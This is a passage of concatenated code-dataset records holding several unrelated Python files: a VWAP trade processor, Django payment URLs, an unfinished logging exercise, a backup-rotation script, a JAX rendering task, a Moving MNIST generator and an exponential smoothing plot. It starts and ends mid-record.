calculate_trade_side(trade_df, bid_df):\n \"\"\"\n Calculate trade side from trade dataframe and bid dataframe\n\n trade_df (df): trade dataframe\n bid_df (df): bid dataframe\n \n return (list): list of side\n \"\"\"\n side_list = []\n for i in range(len(trade_df)):\n price = trade_df[\"Prices\"].iloc[i]\n timestamp = trade_df.index[i]\n bid_book = bid_df[:timestamp][:-1]\n # offer_book = offer_df[:timestamp][:-1]\n if len(bid_book) == 0:\n bid_book = bid_book[:timestamp]\n # offer_book = offer_book[:timestamp]\n if str(price) in bid_book and bid_book.iloc[-1][str(price)] > 0: # ATC and ATO price sometime get price that is not right spread\n side_list.append(\"S\")\n else:\n side_list.append(\"B\")\n return side_list\n\ndef calculate_fake_bid_offer(bid_df, offer_df, trade_df):\n \"\"\"\n Calculate bid and offer changing without matching from dataframe\n\n bid_df (df): bid dataframe\n offer_df (df): offer dataframe\n trade_df (df): trade dataframe with ***side***\n\n return \n fake_bid_df (df): bid changing dataframe without trade matching\n fake_offer_df (df): offer changingdataframe without trade matching\n \"\"\"\n fake_bid_df = bid_df.diff()\n fake_offer_df = offer_df.diff()\n for i in range(trade_df.shape[0]):\n time = trade_df.index[i]\n price = trade_df[\"Prices\"].iloc[i]\n volume = trade_df[\"Volumes\"].iloc[i]\n side = trade_df[\"side\"].iloc[i]\n price = str(price)\n \n if side == \"B\":\n if time in fake_offer_df.index:\n fake_offer_df[price].loc[time] += volume\n elif side == \"S\":\n if time in fake_bid_df.index:\n fake_bid_df[price].loc[time] += volume\n\n return fake_bid_df, fake_offer_df\n\ndef check_symbol_type(symbol):\n \"\"\"\n Check type of symbol contained number\n\n symbol (str): symbol name contained number\n\n return (str): type of symbol\n \"\"\"\n if \"-\" in symbol:\n return \"warrant\"\n elif len(symbol) <= 10:\n return \"stock\"\n else:\n return \"unknown\"\n\ndef get_first_symbol_number(symbol_list):\n \"\"\"\n Return only first number of each symbol (filter to get only common stock)\n\n symbol_list (list): list of symbol contained all stock number\n\n return (list): list of common stock symbol\n \"\"\"\n common_stock_list = []\n symbol_list = sorted(symbol_list)\n last_symbol_name = symbol_list[0][:-4]\n for symbol in symbol_list[1:]:\n symbol_name = symbol[:-4]\n if symbol_name != last_symbol_name:\n common_stock_list.append(symbol)\n last_symbol_name = symbol_name\n return common_stock_list \n \n\ndef set_df_datetime(df, date_time):\n \"\"\"\n set datetime to df \n\n df (dataframe) : usually have only time\n date_time (datetime): use to set a base date\n\n return df\n \"\"\"\n dt_list = []\n df = df.copy()\n \n for i in range(df.shape[0]):\n date_time = date_time.replace(hour=0, minute=0, second=0)\n date_time += timedelta(hours=df.index[i].hour, minutes=df.index[i].minute)\n dt_list.append(date_time)\n\n df[\"Time\"] = dt_list\n df = df.set_index(\"Time\")\n return df\n\ndef match_index(list1, list2):\n \"\"\"\n match index that contains the same value (list1 should has smaller size than list2)\n\n return a list where index [i] represent index of list1, value[i] represent an index of list2 that has the same value\n \"\"\"\n index = []\n count = 0\n for i in range(len(list1)):\n for j in range(count, len(list2)):\n if list1[i] == list2[j]:\n index.append(j)\n count += 1\n return index\n\ndef create_table_row(time, volume, price, lomo):\n \"\"\"\n create a row for output box's table\n\n time (str) : a string of time in format %H:%M (example : 10:30)\n volume (str) : a volume from model output\n price (str) : a price that match from data\n lomo (str) : Order Type, either LO or MO\n\n return row\n \"\"\"\n row = {\n \"time\": time.strftime('%H:%M'),\n \"volume\": str(volume),\n \"price\": str(format(price, \".2f\")),\n \"otype\": lomo\n }\n return row\n\ndef avg_cal(table):\n \"\"\"\n calculate average vwap of model output\n\n table (list of rows) : table from model_output_to_table\n\n return avg (float)\n \"\"\"\n sum_pv = 0\n sum_vol = 0\n for row in table:\n sum_pv += float(row[\"price\"]) * float(row[\"volume\"])\n sum_vol += float(row[\"volume\"])\n avg = sum_pv / sum_vol\n return avg\n\n\ndef change_table_format(table):\n \"\"\"\n format a number in Volume from xxxxxxx.xx to x,xxx,xxx.xx\n\n table : a table from model_output_to_table\n\n return formatted table\n \"\"\"\n for i in range(len(table)):\n table[i][\"volume\"] = format(int(table[i][\"volume\"]), \",\")\n return table\n\ndef change_date_format(working_date):\n \"\"\"\n change date format from YYYY-MM-DD to YYYYMMDD\n\n working_date (date)\n\n return date\n \"\"\"\n date_time = datetime.strptime(working_date, '%Y-%m-%d')\n date = date_time.strftime(\"%Y%m%d\")\n return date\n\ndef convert_pandas_to_string_csv(df):\n \"\"\"\n change dataframe to string csv \n\n df : dataframe of table\n\n return string csv \n \"\"\"\n return \",\".join(list(df.columns)) + \"\\n\" + \"\\n\".join([ \",\".join(list(df.iloc[i])) for i in range(df.shape[0])])\n\ndef str_csv_format(symbol,date,side,order_volume,avg,vwap,diff,table):\n \"\"\"\n create string csv for download\n\n symbol (str) : symbol name\n date (str) : date of input\n side (str) : buy or sell\n order_volume (int) : volume of input\n avg (float) : average vwap \n vwap (float) : market vwap\n diff (float) : difference of average vwap and market vwap\n table : a table from model_output_to_table\n\n return string csv \n \"\"\"\n ticker = 'Ticker,' + symbol\n date = 'Date,' + date\n side = 'Side,' + side\n order_volume = 'Order Volume,' + str(order_volume)\n no_of_order = 'Number of Order,' + str(len(table))\n avg = 'AVG,' + str(avg)\n market_vwap = 'Market VWAP,' + str(vwap)\n diff = 'Diff,' + str(diff)\n table = convert_pandas_to_string_csv(pd.DataFrame.from_records(table))\n return ticker + \"\\n\" + date + \"\\n\" + side + \"\\n\" + order_volume + \"\\n\" + no_of_order + \"\\n\" + avg + \"\\n\" + market_vwap + \"\\n\" + diff + \"\\n\" + table\n", "repo_name": "Computational-Finance-Laboratory/An-Adaptive-Order-Execution-for-VWAP-tracking", "sub_path": "Backend/utils/DataProcessor.py", "file_name": "DataProcessor.py", "file_ext": "py", "file_size_in_byte": 10845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dateutil.relativedelta.relativedelta", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 244, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 278, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 322, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 322, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 359, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 359, "usage_type": "attribute"}]} {"seq_id": "21057884015", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('payment-details/',views.PaymentList,name='payment-details'),\n path('payment-details/<int:pk>/',views.PaymentDetail,name='payment-detail'),\n path('add-payment/',views.addPayment,name='add-payment'),\n path('delete-payment/<int:pk>/',views.deletePayment,name='delete-payment'),\n\n]", "repo_name": "Mohana-20112000/OnlineBusBooking", "sub_path": "OnlinebusBooking/PaymentDetails/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 362, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}]} {"seq_id": "15099862285", "text": "# -*- coding: utf-8 -*-\r\n# Created by iFantastic on 2019/3-教程/18\r\n# 创建一个日志器logger并设置其日志级别为DEBUG\r\nimport logging\r\nlogging = logging.getLogger('simple_logger')\r\nlogging.setLevel(logging.DEBUG)\r\n\r\n# 创建一个流处理器handler并设置其日志级别为DEBUG\r\nhandler = logging.StreamHandler(sys.stdout)\r\nhandler.setLevle(logging.DEBUG)\r\n\r\n# 创建一个格式器formatter并将其添加到处理器handler\r\nformatter = logging.Formatter()\r\n\r\n", "repo_name": "guozeping/Learn-Python", "sub_path": "2-进阶/日志/应用/使用python实现日志.py", "file_name": "使用python实现日志.py", "file_ext": "py", "file_size_in_byte": 480, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "logging.setLevel", "line_number": 6, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 6, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 10, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 13, "usage_type": "call"}]} {"seq_id": "11764886281", "text": "from datetime import date\nfrom calendar import monthrange\nfrom re import search\nfrom glob import glob\nfrom os import remove\nfrom os import path as osPath\n\nclass dateCheckUtil:\n def __init__(self, today_date=date.today(), last_n = 5):\n self.today_date = today_date\n self.last_n = last_n\n\n def is_saturday(self, date):\n return date.weekday() == 5\n\n def is_valid_saturday(self, date):\n day = self.today_date.weekday()\n if day == 5:\n saturday_distance = 28\n else:\n saturday_distance = ((day + 2) % 7) + 21\n\n date_difference = (self.today_date - date).days\n\n if self.is_saturday(date) and date_difference <= saturday_distance:\n return True\n else:\n return False\n\n def is_month_last_day(self, date):\n last_day = monthrange(date.year, date.month)[1]\n return last_day == date.day\n\n def is_last_n_days(self, date):\n return (self.today_date - date).days <= self.last_n\n\n def check_validity(self, date):\n #Probability of sat is high and probability of last few days is low\n return (self.is_month_last_day(date) or self.is_valid_saturday(date) or self.is_last_n_days(date))\n\nclass backupMaintain:\n def __init__(self, file_paths=None):\n if file_paths is None:\n self.file_paths = ['bucket1/', 'bucket2/']\n else:\n self.file_paths = file_paths\n\n def delete_unwanted(self):\n if self.file_paths is None:\n self.file_paths = ['bucket1/', 'bucket2/']\n\n for file_path in self.file_paths:\n list_of_files = [glob(file_path + \"*.txt\")][0]\n for file in list_of_files:\n filename = osPath.basename(file)\n #filter date\n date_from_file = str(search(r'(\\d+-\\d+-\\d+)', filename).group(1))\n year, month, day = [int(var) for var in date_from_file.split('-')]\n param_date = date(year, month, day)\n util = dateCheckUtil(today_date=date(2020,9,18))\n if not util.check_validity(param_date):\n remove(file)\n\noperation_util = backupMaintain()\ntry:\n operation_util.delete_unwanted()\n print(\"Operation Done\")\nexcept:\n print(\"Error Occured\")", "repo_name": "b-thebest/python-data-backup-task", "sub_path": "filter_backup.py", "file_name": "filter_backup.py", "file_ext": "py", "file_size_in_byte": 2278, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.date.today", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 9, "usage_type": "name"}, {"api_name": "datetime.date.weekday", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 23, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 25, "usage_type": "argument"}, {"api_name": "calendar.monthrange", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.date.year", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 31, "usage_type": "name"}, {"api_name": "datetime.date.month", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.date.day", "line_number": 32, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 32, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 35, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 39, "usage_type": "argument"}, {"api_name": "glob.glob", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "name"}, {"api_name": "re.search", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 60, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 62, "usage_type": "call"}]} {"seq_id": "31270805266", "text": "import itertools\nimport os.path as osp\nfrom typing import Optional, Sequence, Union\n\nimport gin\nimport jax\nimport numpy as np\nfrom absl import logging\n\nfrom dycheck.utils import common, image, io, struct, types\n\nfrom . import base\nfrom .functional import get_prender_image\n\n\n@gin.configurable(denylist=[\"engine\"])\nclass CrossView(base.Task):\n \"\"\"Render cross view for qualitative results.\n\n This task is particular useful when no multi-view validation is available.\n \"\"\"\n\n def __init__(\n self,\n engine: types.EngineType,\n split: Union[Sequence[str], str] = gin.REQUIRED,\n *,\n interval: Optional[int] = None,\n num_steps: int = 3,\n force: bool = False,\n ):\n super().__init__(engine, interval=interval)\n if isinstance(split, str):\n split = [split]\n self.split = split\n self.num_steps = num_steps\n self.force = force\n\n @property\n def eligible(self):\n # Only perform this task when there is no multi-view validation.\n return not self.engine.dataset.has_novel_view or self.force\n\n def start(self):\n engine = self.engine\n\n if not hasattr(engine, \"renders_dir\"):\n engine.renders_dir = osp.join(engine.work_dir, \"renders\")\n self.render_dir = osp.join(engine.renders_dir, \"cross_view\")\n if not hasattr(engine, \"eval_datasets\"):\n engine.eval_datasets = dict()\n self.cache = dict()\n for split in self.split:\n if split not in engine.eval_datasets:\n engine.eval_datasets[split] = engine.dataset_cls.create(\n split=split,\n training=False,\n )\n dataset = engine.eval_datasets[split]\n rays = common.tree_collate(\n [\n batch[\"rays\"]\n for batch in common.strided_subset(dataset, self.num_steps)\n ]\n )\n self.cache[split] = {\n \"rays\": [\n jax.tree_map(lambda v: v[i], rays)\n for i in range(self.num_steps)\n ],\n \"metadata\": [\n jax.tree_map(lambda v: v[i], rays.metadata)\n for i in range(self.num_steps)\n ],\n }\n self.prender_image = get_prender_image(engine.model)\n\n def every_n_steps(self):\n engine = self.engine\n\n for split in self.split:\n combined_img = self._render_cross_view_grid(\n self.cache[split][\"rays\"],\n self.cache[split][\"metadata\"],\n desc=f\"* Rendering single cross view ({split})\",\n )\n logging.info(f\"* Single cross view rendered ({split}).\")\n io.dump(\n osp.join(\n self.render_dir,\n split,\n \"checkpoints\",\n f\"{engine.step:07d}.png\",\n ),\n combined_img,\n )\n engine.summary_writer.image(\n f\"cross_view/{split}\",\n combined_img,\n engine.step,\n )\n\n def finalize(self):\n for split in self.split:\n combined_img = self._render_cross_view_grid(\n self.cache[split][\"rays\"],\n self.cache[split][\"metadata\"],\n desc=f\"* Rendering single cross view ({split})\",\n )\n logging.info(f\"* Single cross view finalized ({split}).\")\n io.dump(\n osp.join(\n self.render_dir,\n split,\n f\"num_steps_{self.num_steps:02d}.png\",\n ),\n combined_img,\n )\n\n def _render_cross_view_grid(\n self,\n rays: struct.Rays,\n metadata: struct.Metadata,\n desc: str,\n ):\n engine = self.engine\n\n H, W = rays[0].origins.shape[:2]\n pbar = common.tqdm(\n itertools.product(rays, metadata),\n total=self.num_steps**2,\n desc=desc,\n )\n combined_imgs = []\n for rays, metadata in pbar:\n rays = rays._replace(metadata=metadata)\n rendered = self.prender_image(\n engine.pstate.optimizer.target,\n rays,\n key=engine.key,\n show_pbar=False,\n )\n pred_rgb = image.to_quantized_float32(rendered[\"rgb\"])\n combined_imgs.append(pred_rgb)\n combined_imgs = np.array(combined_imgs).reshape(\n self.num_steps, self.num_steps, H, W, 3\n )\n combined_imgs = combined_imgs.transpose(0, 2, 1, 3, 4).reshape(\n self.num_steps * H, self.num_steps * W, 3\n )\n return combined_imgs\n", "repo_name": "KAIR-BAIR/dycheck", "sub_path": "dycheck/core/tasks/cross_view.py", "file_name": "cross_view.py", "file_ext": "py", "file_size_in_byte": 4817, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 154, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dycheck.utils.types.EngineType", "line_number": 25, "usage_type": "attribute"}, {"api_name": "dycheck.utils.types", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 28, "usage_type": "name"}, {"api_name": "gin.REQUIRED", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "name"}, {"api_name": "dycheck.utils.common.tree_collate", "line_number": 60, "usage_type": "call"}, {"api_name": "dycheck.utils.common", "line_number": 60, "usage_type": "name"}, {"api_name": "dycheck.utils.common.strided_subset", "line_number": 63, "usage_type": "call"}, {"api_name": "dycheck.utils.common", "line_number": 63, "usage_type": "name"}, {"api_name": "jax.tree_map", "line_number": 68, "usage_type": "call"}, {"api_name": "jax.tree_map", "line_number": 72, "usage_type": "call"}, {"api_name": "functional.get_prender_image", "line_number": 76, "usage_type": "call"}, {"api_name": "absl.logging.info", "line_number": 87, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 87, "usage_type": "name"}, {"api_name": "dycheck.utils.io.dump", "line_number": 88, "usage_type": "call"}, {"api_name": "dycheck.utils.io", "line_number": 88, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 110, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 110, "usage_type": "name"}, {"api_name": "dycheck.utils.io.dump", "line_number": 111, "usage_type": "call"}, {"api_name": "dycheck.utils.io", "line_number": 111, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "name"}, {"api_name": "dycheck.utils.struct.Rays", "line_number": 122, "usage_type": "attribute"}, {"api_name": "dycheck.utils.struct", "line_number": 122, "usage_type": "name"}, {"api_name": "dycheck.utils.struct.Metadata", "line_number": 123, "usage_type": "attribute"}, {"api_name": "dycheck.utils.struct", "line_number": 123, "usage_type": "name"}, {"api_name": "dycheck.utils.common.tqdm", "line_number": 129, "usage_type": "call"}, {"api_name": "dycheck.utils.common", "line_number": 129, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 130, "usage_type": "call"}, {"api_name": "dycheck.utils.image.to_quantized_float32", "line_number": 143, "usage_type": "call"}, {"api_name": "dycheck.utils.image", "line_number": 143, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 145, "usage_type": "call"}, {"api_name": "gin.configurable", "line_number": 16, "usage_type": "call"}]} {"seq_id": "15147615260", "text": "import sys\nsys.path.insert(1,'../src')\nimport os\nimport gzip\nimport numpy as np\nimport random\nimport cv2\nfrom PIL import Image\nfrom numpy import asarray\nfrom numpy.random import RandomState\n\n#\n# image = np.array(Image.open('true.png'))\n# image = Image.fromarray(image)\n# image.show() # before rotation\n# image = image.rotate(40)\n# image.show() # after rotation\n# image = asarray(image)\n\n\nclass MovingMNIST:\n \"\"\"The MovingMNIST dataset with missing values, the goal is to impute the missing frames\"\"\"\n def __init__(self,\n root,\n n_frames,\n mask,\n num_digits,\n image_size,\n digit_size,\n N,\n transform=None,\n use_fixed_dataset=False,\n random_state=None):\n '''if use_fixed_dataset = True, the mnist_test_seq.npy in the root folder will be loaded'''\n super().__init__()\n self.use_fixed_dataset = use_fixed_dataset\n if not use_fixed_dataset:\n self.mnist = self.load_mnist(root, image_size=digit_size)\n else:\n self.dataset = self.load_fixed_set(root)\n\n # take a slice\n assert (self.dataset.shape[1] > N)\n self.dataset = self.dataset[:, :N, ...]\n\n self.length = N\n self.n_frames = n_frames\n self.mask = mask\n self.transform = transform\n # For generating data\n self.image_size_ = image_size\n self.digit_size_ = digit_size\n self.step_length_ = 0.1\n self.num_digits = num_digits\n self.random_state = random_state\n\n if not transform:\n self.constant_velocity = True\n self.random_scaling = False\n self.rotate_image = False\n else:\n self.constant_velocity = False\n self.random_scaling = True\n self.rotate_image = True\n\n\n if random_state is not None:\n self.rng = RandomState(random_state)\n else:\n self.rng = RandomState(random.randint(1, 1e4))\n def load_mnist(self, root, image_size):\n # Load MNIST dataset for generating training data.\n path = os.path.join(root, 'train-images-idx3-ubyte.gz')\n with gzip.open(path, 'rb') as f:\n mnist = np.frombuffer(f.read(), np.uint8, offset=16)\n mnist = mnist.reshape(-1, image_size, image_size)\n return mnist\n\n def load_fixed_set(self, root):\n # Load the fixed dataset\n filename = 'mnist_test_seq.npy'\n path = os.path.join(root, filename)\n dataset = np.load(path)\n dataset = dataset[..., np.newaxis]\n return dataset\n\n def get_random_trajectory(self, seq_length):\n ''' Generate a random sequence of a MNIST digit '''\n canvas_size = self.image_size_ - self.digit_size_\n\n\n\n x = self.rng.random()\n y = self.rng.random()\n theta = self.rng.random() * 2 * np.pi\n v_y = np.sin(theta)\n v_x = np.cos(theta)\n\n start_y = np.zeros(seq_length)\n start_x = np.zeros(seq_length)\n if not self.constant_velocity:\n step_length = 0.36 * self.rng.random()\n else:\n step_length = self.step_length_\n for i in range(seq_length):\n # Take a step along velocity.\n y += v_y * step_length\n x += v_x * step_length\n\n # Bounce off edges.\n if x <= 0:\n x = 0\n v_x = -v_x\n if x >= 1.0:\n x = 1.0\n v_x = -v_x\n if y <= 0:\n y = 0\n v_y = -v_y\n if y >= 1.0:\n y = 1.0\n v_y = -v_y\n start_y[i] = y\n start_x[i] = x\n\n # Scale to the size of the canvas.\n start_y = (canvas_size * start_y).astype(np.int32)\n start_x = (canvas_size * start_x).astype(np.int32)\n return start_y, start_x\n\n def rotation(self, x, degree):\n image = Image.fromarray(x) # im is an numpy array\n image = image.rotate(degree)\n image = asarray(image)\n return image\n\n\n def generate_moving_mnist(self):\n '''\n Get random trajectories for the digits and generate a video.\n '''\n data = np.zeros(\n (self.n_frames, self.image_size_, self.image_size_),\n dtype=np.float32)\n for n in range(self.num_digits):\n # Trajectory\n start_y, start_x = self.get_random_trajectory(self.n_frames)\n ind = self.rng.randint(0, self.mnist.shape[0] - 1)\n digit_image = self.mnist[ind]\n\n # rotation\n if self.rotate_image:\n rotation_degree = self.rng.randint(-15,15) # rotation degrees are different for each digit\n else:\n rotation_degree = 0\n\n # scaling\n if self.random_scaling:\n scaling_factor = 1 - self.rng.random() * 0.05\n else:\n scaling_factor = 1\n\n for i in range(self.n_frames):\n # Draw digit\n new_digit_size = round(digit_image.shape[0] * scaling_factor**i) # new digit_size\n top = start_y[i]\n left = start_x[i]\n bottom = top + new_digit_size\n right = left + new_digit_size\n digit_image_rescaled = cv2.resize(digit_image, dsize=(new_digit_size, new_digit_size), interpolation=cv2.INTER_CUBIC)\n\n digit_image_rotated = self.rotation(digit_image_rescaled, rotation_degree*i)\n data[i, top:bottom,\n left:right] = np.maximum(data[i, top:bottom, left:right], digit_image_rotated)\n\n data = data[..., np.newaxis]\n return data\n\n def __getitem__(self, idx):\n length = self.n_frames\n mask = np.array(self.mask) # the mask for the idx th sample\n\n\n # Sample number of objects\n # Generate data on the fly\n if not self.use_fixed_dataset:\n images = self.generate_moving_mnist()\n else:\n images = self.dataset[:, idx, ...]\n images = np.float32(images)\n\n # if self.transform is not None:\n # images = self.transform(images)\n\n r = 1\n w = int(self.image_size_ / r)\n # w = int(64 / r)\n images = images.reshape(\n (length, w, r, w, r)).transpose(0, 2, 4, 1, 3).reshape(\n (length, r * r, w, w))\n\n\n images = images / 255\n images_input = images[mask == 1, ...]\n images_true = images[1:, ...]\n actions = []\n state = []\n return [idx, mask, images_input, actions, state, images_true]\n\n def __len__(self):\n return self.length\n\nif __name__ == \"__main__\":\n from visualization import plot_spatio_temporal_data\n data = MovingMNIST( root='./',\n n_frames=20,\n mask=[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n num_digits=2,\n image_size=64,\n digit_size=28,\n N=1,\n transform=True,\n use_fixed_dataset=False,\n random_state=None)\n images_input = data[0][2]\n images_input = images_input.squeeze(1)\n plot_spatio_temporal_data(images_input)\n\n pass", "repo_name": "KEHUIYAO/physics_motion_net", "sub_path": "MovingMnistPlus_imputation/moving_mnist.py", "file_name": "moving_mnist.py", "file_ext": "py", "file_size_in_byte": 7392, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "numpy.random.RandomState", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 70, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 132, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 132, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 144, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 170, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 170, "usage_type": "attribute"}, {"api_name": "numpy.maximum", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 190, "usage_type": "call"}, {"api_name": "visualization.plot_spatio_temporal_data", "line_number": 227, "usage_type": "call"}]} {"seq_id": "44239499707", "text": "import math\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt \n\ndef exponential_smoothing(alpha, s):\n s2 = np.zeros(s.shape)\n s2[0] = s[0]\n for i in range(1, len(s2)):\n s2[i] = alpha*s[i]+(1-alpha)*s2[i-1]\n\n return s2 \n\ndef es(list_actual_value):\n alpha = .70\n actual_value_data=np.array(list_actual_value)\n s_single = exponential_smoothing(alpha,actual_value_data)\n s_double = exponential_smoothing(alpha,s_single)\n a_double = 2*s_single-s_double\n b_double = (alpha/(1-alpha))*(s_single-s_double)\n s_pre_double = np.zeros(s_double.shape)\n for i in range(1, len(actual_value_data)):\n s_pre_double[i] = a_double[i-1]+b_double[i-1]\n\n sp_list = s_pre_double.tolist()\n sp_list.remove(sp_list[0])\n pre_next = a_double[-1]+b_double[-1]*1\n pre_next_two = a_double[-1]+b_double[-1]*2\n sp_list.append(pre_next)\n sp_list.append(pre_next_two)\n return sp_list\n\ndef show_data(list_actual_value, sp_list):\n plt.figure(figsize=(14, 6), dpi=80)\n plt.plot(list_actual_value, color='blue', label=\"actual value\")\n plt.plot(sp_list,color='red',label=\"predictive value\") \n plt.legend(loc='lower right')\n plt.title('Projects')\n plt.ylabel('number')\n plt.show()\n\ndef LoadCSVData(path, column):\n list=[]\n data = pd.read_csv(path)\n for index,row in data.iterrows():\n if index >= 0 and index < 200:\n #print(row[column])\n list.append(row[column])\n \n return list\n\ndef WriteCSVData(list, path):\n data = pd.DataFrame(list)\n data.to_csv(path,index=False,sep=',')\n\nlist_data_1=LoadCSVData('projects/AiPlatform/sens_mann-kendall/data/show_data.csv','1')\nsp_list = es(list_data_1)\nshow_data(list_data_1, sp_list)\n", "repo_name": "gavin-kang/AiPlatform", "sub_path": "statistical_analysis/exponential_smoothing.py", "file_name": "exponential_smoothing.py", "file_ext": "py", "file_size_in_byte": 1753, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", 